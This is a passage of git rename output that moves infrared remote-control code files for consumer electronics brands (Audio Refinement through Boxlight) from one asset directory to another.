assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Refinement/CD Player/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Refinement/Tuner/20,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audio Research/Pre-Amplifier/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AudioSource/Unknown_SS-Three/6,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audiola/DEC654_DVB-T/8,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audiovox/Monitor/128,126.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audiovox/Unknown_SIR/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Audiovox/Unknown_Sirius/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Austar/Cable Box/32,224.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AutumnWave/Unknown_Onair/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avermedia/Unknown_AVerTV5/0,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avermedia/Unknown_Avermedia/64,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-H7/0,237.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avermedia/Unknown_RM-KV/4,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-AV5609/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avex/Unknown_AVEX-RC501/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Avtoolbox/Unknown_hdswitch/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Axion/Unknown_AXN-6075/2,255.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Axonix/DVD Player/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Axonix/Media Server/17,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Axonix/MediaMax/17,20.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BORK/Unknown_DV/8,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/145,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/146,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/147,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/148,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/193,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/194,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/195,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/196,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/81,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/82,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/83,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BTX/Drapery Controller/84,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bang Olufsen/CD Player/26,73.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Barco/Unknown_barcoRC5/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Barco/Video Projector/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Barco/Video Projector/18,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Barix/CD Jukebox/0,127.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Beko/Unknown_Beko/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Beko/Unknown_TV/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Belkin/Unknown_F5X019/27,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/12,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/HD DVR/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell ExpressVu/Satellite/16,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/0,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/0,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/0,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/1,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/1,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/1,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/128,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/16,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/24,0.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bell/Satellite/7,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bellagio/Unknown_P807/32,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/DLP Projector/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/Projector/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/Projector/72,80.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/Unknown_DV3080/96,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/Unknown_MP620/0,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BenQ/Unknown_W1070/0,48.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bench/Unknown_kh2800/48,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Big Ben/Game Console/67,164.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bluesky/Unknown_DV900/5,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/2-Channel Preamp/11,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/11,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/123,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/139,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/187,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/203,67.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/219,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/242,208.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/243,192.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/251,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/27,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/43,77.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/59,76.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/75,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/6 Zone Receiver/91,74.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/0,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/103,137.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/108,57.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/111,9.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/123,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/127,8.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/128,247.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/135,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/143,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/15,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/159,6.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/167,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/172,53.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/183,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/187,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/192,243.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/199,131.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/204,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/219,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/223,2.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/23,142.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/239,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/242,208.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/243,192.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/247,128.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/251,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/255,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/7,143.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/71,139.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/76,59.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/79,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/91,74.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/143,7.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/15,15.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/151,134.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/167,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/183,132.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/187,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/199,131.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/215,130.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/219,66.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/23,142.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/231,129.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/242,208.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/243,192.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/247,128.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/251,64.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/31,14.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/39,141.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/55,140.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/3-2-1/186,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,136.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,160.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,161.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,162.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,163.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,164.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,165.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,166.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,167.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,168.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,169.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,170.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,171.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,172.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,173.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,174.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,176.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,177.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,178.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,179.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,180.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,181.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,182.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,183.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,184.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,185.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,186.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,187.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,188.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,189.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,190.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,191.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Lifestyle/186,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Media Center/1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Media Center/186,136.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Music Center/186,133.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Music Center/186,213.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Music Center/186,229.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Music Center/186,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Receiver/186,160.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Receiver/186,75.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/System/186,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Tuner/186,85.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Boxlight/Projector/135,78.ir (100%) rename assets/{resources/infrared => ir_optional_assets}/optional-assets/_CSV-IRDB_/Boxlight/Projector/48,-1.ir (100%) rename assets/{resources/infrared => 